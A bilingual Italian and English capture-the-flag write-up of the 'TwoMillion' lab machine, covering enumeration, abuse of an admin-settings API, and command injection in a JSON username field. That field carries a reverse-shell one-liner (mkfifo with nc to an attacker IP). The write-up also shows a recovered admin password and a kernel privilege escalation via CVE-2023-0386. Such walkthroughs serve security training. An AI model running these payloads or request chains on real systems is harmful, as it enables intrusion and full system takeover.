TwoMillion

Foothold

Si mappa l’IP della macchina con l’hostname 2million.htb nel file /etc/hosts.

Si effettua una scansione TCP e si ottiene

kali@0xPR3ST1JH0NN7:~$ sudo nmap -sV -vv -oN tcp.txt 2million.htb
# Nmap 7.94SVN scan initiated Fri Mar  7 11:52:10 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp.txt 2million.htb
Nmap scan report for 2million.htb (10.10.11.221)
Host is up, received reset ttl 128 (0.016s latency).
Scanned at 2025-03-07 11:52:10 CET for 30s
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE REASON          VERSION
22/tcp   open   ssh     syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http    syn-ack ttl 128 nginx
801/tcp  closed device  reset ttl 128
1075/tcp closed rdrmshc reset ttl 128
5678/tcp closed rrac    reset ttl 128
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar  7 11:52:40 2025 -- 1 IP address (1 host up) scanned in 30.91 seconds

Ci sono due servizi attivi sulla macchina, SSH sulla porta 22 e HTTP sulla porta 80 servito da nginx. Il web server sulla porta 80 ospita una piattaforma web e questa è la sua home, navigando si nota la sezione di login.

TwoMillion

Scorrendo la home si trova la sezione [join]

TwoMillion

Cliccando su “Join HTB” si ottiene la seguente pagina

TwoMillion

Ispezionando il sorgente della pagina si individua una funzione che verifica l’input chiamando l’API /api/v1/invite/verify. Se la validazione va a buon fine, il valore viene memorizzato nel localStorage prima di eseguire il redirect su /register, dove sarà poi impiegato.

TwoMillion

Andando nella sezione /register si ha questa visualizzazione

TwoMillion

Dopo aver constatato il fallimento dei tentativi di bruteforce sull’invite code, si è provato a interrogare l’endpoint /api/v1 per mappare le API esposte, ricevendo però un “401 Unauthorized”. Di conseguenza si è optato per l’enumerazione di altri endpoint potenzialmente sfruttabili.

L’enumerazione è stata eseguita con il comando seguente, inviando richieste POST verso /api/v1/invite e utilizzando una wordlist per identificare azioni valide, avendo cura di scartare le risposte contenenti la stringa “404 - Not Found”.

kali@0xPR3ST1JH0NN7:~$ ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions-lowercase.txt -r -fr "404" -X POST

Il risultato è il seguente

TwoMillion

Questa procedura ha rivelato l’esistenza dell’endpoint /generate, portando a testare direttamente il comportamento di questa nuova chiamata.

Richiesta

POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://2million.htb
Referer: http://2million.htb/invite
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive

Risposta

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 09:21:39 GMT
Content-Type: application/json
Connection: keep-alive
Set-Cookie: PHPSESSID=3q4uv1b7us0vfi61k1tbdntcqf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91

{
		"0":200,
		"success":1,
		"data":{
				 "code":"UzNSTjMtNFdRS1ktN1QzTzItOFg0VlQ=",
				 "format":"encoded"
		}
}

La chiamata restituisce un valore in formato base64. Una volta decodificato e inviato all’endpoint /verify, il codice risulta valido e viene impiegato con successo per completare la fase di registrazione sulla piattaforma.

Di seguito la richiesta per effettuare la validazione del codice.

Richiesta

POST /api/v1/user/register HTTP/1.1
Host: 2million.htb
Content-Length: 147
Cache-Control: max-age=0
Origin: http://2million.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/register
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=4trtgi8hpketi1965lkv9d02h0
Connection: keep-alive

code=S3RN3-4WQKY-7T3O2-8X4VT&username=user&[email protected]&password=user&password_confirmation=user

Risposta

HTTP/1.1 302 Found
Server: nginx
Date: Tue, 01 Apr 2025 14:38:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login
Content-Length: 0

La location riporta alla login e si effettua l’accesso con le stesse credenziali usate in fase di registrazione poco sopra.

Si ottiene la seguente visualizzazione

TwoMillion

Avendo completato l’accesso e ottenuto un cookie valido, si tenta nuovamente l’interrogazione dell’endpoint /api/v1.

Richiesta

GET /api/v1 HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive

Risposta

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 10:06:49 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

L’interrogazione restituisce la lista delle API disponibili, tra cui spiccano per interesse quelle dedicate agli amministratori.

Si invia una richiesta PUT vuota all’endpoint /api/v1/admin/settings/update per capire come risponde il server e come costruire la richiesta corretta.

Richiesta

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 0

Risposta

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 56

{
		"status":"danger",
		"message":"Missing parameter: email"
}

Si aggiunge la mail nel body e si invia la richiesta

Richiesta

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 61

{
		"email" : "[email protected]"
}

Risposta

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 59

{
		"status":"danger",
		"message":"Missing parameter: is_admin"
}

Si aggiunge anche il parametro is_admin.

Richiesta

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 74

{
		"email" : "[email protected]",
		"is_admin" : 1
}

Risposta

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40

{
		"id":13,
		"username":"user",
		"is_admin":1
}

Sono stati ottenuti i permessi di admin e si ha accesso ad altre API, come /api/v1/admin/vpn/generate. Testando i vari input nel parametro “username” del JSON viene individuata una vulnerabilità di tipo OS Command Injection.

Si avvia un listener in background e si procede con l’invio della seguente richiesta HTTP.

Richiesta

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 57

{
"username":"user;⟦rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 9000 >/tmp/f⟧"
}

All’interno del listener si cattura la reverse shell

TwoMillion

Foothold ottenuto.

Lateral Movement

Il foothold ottenuto tramite l’utente “www-data” risulta tuttavia limitato, trattandosi di un account ristretto secondo il principio del least privilege. Si rende pertanto necessaria un’attività di lateral movement per passare all’utente “admin” e proseguire con l’attacco.

Elencando tutti i file della directory si nota la presenza di un file nascosto .env, dal cui contenuto è possibile recuperare le credenziali.

TwoMillion

Si effettua l’accesso in SSH con le credenziali admin:SuperDuperPass123 e si prende la flag user.txt.

Privilege Escalation

Lanciando lo script linpeas.sh emerge la possibilità di accedere in lettura al file /var/mail/admin.

TwoMillion

Questo indica la presenza di una vulnerabilità kernel relativa a OverlayFS / FUSE. Effettuando una ricerca si trova la CVE-2023-0386 e una PoC che mette a disposizione un exploit pronto all’uso. Si lanciano quindi le istruzioni nei rispettivi terminali come mostrato di seguito.

TwoMillion

TwoMillion

Shell ottenuta! Si invia la flag root.txt.

Foothold

First we map the machine’s IP to the hostname 2million.htb in the /etc/hosts file.

We run a TCP scan and get

kali@0xPR3ST1JH0NN7:~$ sudo nmap -sV -vv -oN tcp.txt 2million.htb
# Nmap 7.94SVN scan initiated Fri Mar  7 11:52:10 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp.txt 2million.htb
Nmap scan report for 2million.htb (10.10.11.221)
Host is up, received reset ttl 128 (0.016s latency).
Scanned at 2025-03-07 11:52:10 CET for 30s
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE REASON          VERSION
22/tcp   open   ssh     syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http    syn-ack ttl 128 nginx
801/tcp  closed device  reset ttl 128
1075/tcp closed rdrmshc reset ttl 128
5678/tcp closed rrac    reset ttl 128
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar  7 11:52:40 2025 -- 1 IP address (1 host up) scanned in 30.91 seconds

There are two services running on the machine, SSH on port 22 and HTTP on port 80 served by nginx. The web server on port 80 hosts a web platform and this is its home page, while browsing we notice the login section.

TwoMillion

Scrolling through the home page we find the [join] section

TwoMillion

Clicking on “Join HTB” brings up the following page

TwoMillion

Inspecting the page source we identify a function that verifies the input by calling the /api/v1/invite/verify API. If the validation succeeds, the value is stored in localStorage before performing the redirect to /register, where it is later used.

TwoMillion

Going to the /register section we get this view

TwoMillion

After confirming that the bruteforce attempts on the invite code all failed, we tried querying the /api/v1 endpoint to map the exposed APIs, but received a “401 Unauthorized”. As a result we opted to enumerate other potentially exploitable endpoints.

The enumeration was carried out with the following command, sending POST requests to /api/v1/invite and using a wordlist to identify valid actions, taking care to discard the responses containing the string “404 - Not Found”.

kali@0xPR3ST1JH0NN7:~$ ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions-lowercase.txt -r -fr "404" -X POST

The result is the following

TwoMillion

This procedure revealed the existence of the /generate endpoint, leading us to test the behavior of this new call directly.

Request

POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://2million.htb
Referer: http://2million.htb/invite
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 09:21:39 GMT
Content-Type: application/json
Connection: keep-alive
Set-Cookie: PHPSESSID=3q4uv1b7us0vfi61k1tbdntcqf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91

{
		"0":200,
		"success":1,
		"data":{
				 "code":"UzNSTjMtNFdRS1ktN1QzTzItOFg0VlQ=",
				 "format":"encoded"
		}
}

The call returns a value in base64 format. Once decoded and sent to the /verify endpoint, the code turns out to be valid and is successfully used to complete the registration phase on the platform.

Below is the request to perform the validation of the code.

Request

POST /api/v1/user/register HTTP/1.1
Host: 2million.htb
Content-Length: 147
Cache-Control: max-age=0
Origin: http://2million.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/register
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=4trtgi8hpketi1965lkv9d02h0
Connection: keep-alive

code=S3RN3-4WQKY-7T3O2-8X4VT&username=user&[email protected]&password=user&password_confirmation=user

Response

HTTP/1.1 302 Found
Server: nginx
Date: Tue, 01 Apr 2025 14:38:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login
Content-Length: 0

The location redirects to the login and we log in with the same credentials used during the registration above.

We get the following view

TwoMillion

Having completed the login and obtained a valid cookie, we try the /api/v1 endpoint query again.

Request

GET /api/v1 HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 10:06:49 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

The query returns the list of available APIs, among which the ones dedicated to administrators stand out as the most interesting.

We send an empty PUT request to the /api/v1/admin/settings/update endpoint to see how the server responds and how to build the correct request.

Request

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 0

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 56

{
		"status":"danger",
		"message":"Missing parameter: email"
}

We add the email to the body and send the request

Request

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 61

{
		"email" : "[email protected]"
}

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 59

{
		"status":"danger",
		"message":"Missing parameter: is_admin"
}

We also add the is_admin parameter.

Request

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 74

{
		"email" : "[email protected]",
		"is_admin" : 1
}

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40

{
		"id":13,
		"username":"user",
		"is_admin":1
}

Admin privileges have now been obtained and we have access to other APIs, such as /api/v1/admin/vpn/generate. By testing the various inputs in the “username” parameter of the JSON we find an OS Command Injection vulnerability.

We start a listener in the background and proceed to send the following HTTP request.

Request

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 57

{
"username":"user;⟦rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 9000 >/tmp/f⟧"
}

Inside the listener we catch the reverse shell

TwoMillion

Foothold obtained.

Lateral Movement

The foothold obtained through the “www-data” user is nonetheless limited, being an account restricted according to the least privilege principle. A lateral movement is therefore needed to switch to the “admin” user and continue the attack.

Listing all the files in the directory we notice a hidden .env file, from whose content we can retrieve the credentials.

TwoMillion

We log in via SSH with the credentials admin:SuperDuperPass123 and grab the user.txt flag.

Privilege Escalation

Running the linpeas.sh script we notice the possibility of reading the /var/mail/admin file.

TwoMillion

This indicates the presence of a kernel vulnerability related to OverlayFS / FUSE. Searching for it we find the CVE-2023-0386 and a PoC that provides a ready to use exploit. We then run the instructions in the respective terminals as shown below.

TwoMillion

TwoMillion

Shell obtained! We submit the root.txt flag.